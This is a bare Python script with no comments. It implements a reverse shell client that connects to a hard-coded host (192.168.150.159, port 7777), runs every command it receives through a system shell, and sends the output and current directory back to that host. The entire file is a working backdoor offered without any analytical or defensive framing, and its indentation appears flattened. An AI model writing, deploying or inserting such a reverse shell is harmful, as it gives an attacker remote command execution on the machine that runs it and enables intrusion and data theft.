import socket  
import os  
import subprocess  
  
s = socket.socket()  
host = "192.168.150.159"  
port = 7777  
  
s.connect((host, port))  
  
while True:  
 data = s.recv(1024)  
 if data [:2].decode("utf-8") == 'cd':  
 os.chdir(data[3:].decode("utf-8"))  
  
 if len(data) > 0:  
 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)  
 output\_byte = cmd.stdout.read() + cmd.stderr.read()  
 output\_str = str(output\_byte, "utf-8")  
 currentWD = os.getcwd() + ">"  
 s.send(str.encode(output\_str + currentWD))  
  
 print(output\_str)